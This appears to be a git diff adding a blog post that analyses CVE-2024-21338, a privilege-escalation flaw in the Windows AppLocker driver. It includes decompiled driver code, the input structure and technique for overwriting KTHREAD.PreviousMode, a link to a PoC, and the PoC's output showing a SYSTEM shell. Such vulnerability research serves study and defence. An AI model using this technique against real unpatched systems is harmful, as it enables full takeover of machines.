|
| 1 | +--- |
| 2 | +title: "Windows Kernel Elevation of Privilege Vulnerability " |
| 3 | +subtitle: "Sample Subtitle" |
| 4 | +date: 2025-05-18 |
| 5 | +author: "Ghostbyt3" |
| 6 | +tags: ["1day", "appid.sys", "windows", "kernel", "memory leak"] |
| 7 | +categories: ["1Day Breakdown"] |
| 8 | +authorbox: true |
| 9 | +pager: true |
| 10 | +toc: true |
| 11 | +sidebar: "right" |
| 12 | +layout: "single" |
| 13 | +showTableOfContents: true |
| 14 | +--- |
| 15 | + |
| 16 | +CVE-2024-21338 is a privilege escalation vulnerability in the Windows AppLocker driver (`appid.sys`). The flaw resides in the `AipSmartHashImageFile` function, reachable via IOCTL `0x22A018`, which allows user-mode input to control code execution. Specifically, the function dereferences two user-provided pointers from a shared SystemBuffer without verifying their validity or origin. One of these pointers is treated as a function pointer and is called directly from kernel mode. The patched version adds checks to ensure the input does not originate from user mode and restricts access. |
| 17 | + |
| 18 | +**CVE-2024-21338:** https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21338 |
| 19 | +**Vulnerability Type:** Untrusted Pointer Dereference |
| 20 | +**Tested On:** Windows 11 23H2 |
| 21 | +**Driver Version:** appid.sys - 10.0.22621.3155 |
| 22 | + |
| 23 | +## Vulnerability analysis |
| 24 | + |
| 25 | + |
| 26 | +```c++ |
| 27 | +__int64 __fastcall AipDeviceIoControlDispatch(struct _DEVICE_OBJECT *a1, IRP *_IRP) |
| 28 | +{ |
| 29 | + |
| 30 | + |
| 31 | +[::] |
| 32 | + |
| 33 | + case 0x22A018u: |
| 34 | + if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control && (HIDWORD(WPP_GLOBAL_Control->Timer) & 2) != 0 ) |
| 35 | + WPP_SF_(WPP_GLOBAL_Control->AttachedDevice, 27LL, &WPP_1ce862bc955b392889c1b25f85145990_Traceguids); |
| 36 | + if ( CurrentStackLocation->Parameters.DeviceIoControl.InputBufferLength == 32 ) |
| 37 | + { |
| 38 | + ConfigOptions = AipSmartHashImageFile((__int64)_IRP->AssociatedIrp.SystemBuffer, 0LL, 0LL, 0LL); // Call to AipSmartHashImageFile with User input |
| 39 | +LABEL_103: |
| 40 | + v9 = ConfigOptions; |
| 41 | + break; |
| 42 | + } |
| 43 | +LABEL_25: |
| 44 | + v9 = -1073741811; |
| 45 | + break; |
| 46 | + default: |
| 47 | + v7 = WPP_GLOBAL_Control; |
| 48 | + if ( WPP_GLOBAL_Control == (PDEVICE_OBJECT)&WPP_GLOBAL_Control || (HIDWORD(WPP_GLOBAL_Control->Timer) & 2) == 0 ) |
| 49 | + goto LABEL_15; |
| 50 | + v8 = 28LL; |
| 51 | +LABEL_14: |
| 52 | + WPP_SF_D(v7->AttachedDevice, v8, &WPP_1ce862bc955b392889c1b25f85145990_Traceguids, LowPart); |
| 53 | +LABEL_15: |
| 54 | + v9 = -1073741808; |
| 55 | + break; |
| 56 | + } |
| 57 | + |
| 58 | + |
| 59 | +[::] |
| 60 | +``` |
| 61 | +
|
| 62 | +Following up, the process takes the following path and performs several checks. The main check happens in `appid!AipSmartHashImageFile()` whose primary functionality is passing the value at `SystemBuffer + 8` to [`ObfReferenceObject()`](https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-obfreferenceobject). This routine increments the reference count of the specified object, which implies that the value at SystemBuffer + 8 must be a valid kernel object address. Otherwise, the reference operation will fail or potentially lead to a crash. |
| 63 | +
|
| 64 | + |
| 65 | +
|
| 66 | +It calls the function pointer stored at `SystemBuffer + 16`, passing the value at `SystemBuffer` (i.e., the first 8 bytes) as an argument. |
| 67 | +
|
| 68 | +```c++ |
| 69 | +__int64 __fastcall AppHashComputeImageHashInternal( |
| 70 | + __int64 SystemBuffer, |
| 71 | + __int64 (__fastcall **SystemBuffer_16)(__int64, __int128 *), |
| 72 | + unsigned int a3, |
| 73 | + __int64 a4) |
| 74 | +{ |
| 75 | +
|
| 76 | +[::] |
| 77 | +
|
| 78 | + __int64 v43; // [rsp+A8h] [rbp+Fh] |
| 79 | +
|
| 80 | + v39 = SystemBuffer_16; |
| 81 | + *(_QWORD *)v32 = a4; |
| 82 | + v40 = SystemBuffer; |
| 83 | + v29 = 0; |
| 84 | + v37 = 0LL; |
| 85 | + v38 = 0LL; |
| 86 | + v5 = 0; |
| 87 | + v43 = 0LL; |
| 88 | + v6 = 0; |
| 89 | + v30 = 0; |
| 90 | + v33 = 0; |
| 91 | + v34 = 0; |
| 92 | + LODWORD(v35) = 0; |
| 93 | + *(_QWORD *)v41 = 0LL; |
| 94 | + v42 = 0LL; |
| 95 | + if ( !a3 ) |
| 96 | + return 0; |
| 97 | + v7 = (*SystemBuffer_16)(SystemBuffer, &v42); // Vulnerable function call |
| 98 | +
|
| 99 | +
|
| 100 | +[::] |
| 101 | +
|
| 102 | +``` |
| 103 | + |
| 104 | +This is a sample structure of how the input should be defined: |
| 105 | + |
| 106 | +```c |
| 107 | +typedef struct SMART_HASH_INPUT { |
| 108 | + DWORD64 Arguments_Ptr; |
| 109 | + PVOID Object_Ptr; |
| 110 | + PVOID ExpProfileDelete_Ptr; |
| 111 | + DWORD64 PADDING; |
| 112 | +} _SMART_HASH_INPUT, *PSMART_HASH_INPUT; |
| 113 | +``` |
| 114 | +- `Object_Ptr` must be a valid object pointer that satisfies the expectations of `AipSmartHashImageFile()`. |
| 115 | +- `ExpProfileDelete_Ptr` is the API that will be invoked. This call is routed through `guard_dispatch_icall_fpt`, which enforces Kernel Control Flow Guard (KCFG). The `nt!ExpProfileDelete()` function ultimately calls the `ObfDereferenceObjectWithTag` kernel macro. |
| 116 | +- This macro decrements the reference count field of the object passed to it (located at offset -0x30). This behavior makes it ideal for modifying the `PreviousMode` of a thread—from a user-mode value of 1 to a kernel-mode value of 0. |
| 117 | +- To achieve this, we need to pass the address of `nt!ExpProfileDelete()` to `ExpProfileDelete_Ptr`, and `Arguments_Ptr` must point to the `KTHREAD.PreviousMode` field of the current thread. |
| 118 | + |
| 119 | +## Exploit |
| 120 | + |
| 121 | +Tested on: Windows 11 22H2 (01-2024 Build) |
| 122 | +Working POC: https://github.com/ghostbyt3/WinDriver-EXP/tree/main/CVE-2024-21338/POC |
| 123 | + |
| 124 | +``` |
| 125 | +PS C:\Users\h4x\Desktop> .\CVE-2024-21338.exe -p 2116 |
| 126 | +[+] Trying to find Thread ID for the given process PID: 2116 |
| 127 | +[+] First Thread ID of the process: 2120 |
| 128 | +[+] NT base address fffff80012400000 |
| 129 | +[+] Found EPROCESS of the current process FFFFAD85DAFBE080 |
| 130 | +[+] Found KTHREAD of the current thread FFFFAD85D9335080 |
| 131 | +[+] Found EPROCESS of the system.exe FFFFAD85D64E8040 |
| 132 | +[+] Opened a THREAD_DIRECT_IMPERSONATION handle to the LOCAL_SERVICE process |
| 133 | +[+] Opening handle to Applocker device |
| 134 | +[+] Dummy FILE_OBJECT address: FFFFAD85DBA171D0 |
| 135 | +[+] Calling AipSmartHashImageFile ....success |
| 136 | +[+] Stealing system's Token.. |
| 137 | +[+] Replacing KTHREAD.PreviousMode as UserMode.. |
| 138 | +[+] Spawning shell as SYSTEM... |
| 139 | +Microsoft Windows [Version 10.0.22621.1] |
| 140 | +(c) Microsoft Corporation. All rights reserved. |
| 141 | +
|
| 142 | +C:\Users\h4x\Desktop>whoami |
| 143 | +nt authority\system |
| 144 | +``` |
| 145 | + |
| 146 | +## Acknowledgements |
| 147 | + |
| 148 | +- It was explained by Nero0oo0 and can be found [here](https://nero22k.github.io/posts/windows-applocker-driver-elevation-of-privilege-cve-2024-21338/). |
| 149 | +- The [PoC](https://github.com/Nero22k/Exploits/tree/main/Windows/CVE-2024-21338) was developed by Nero0oo0, and the above PoC is based on it. |
0 commit comments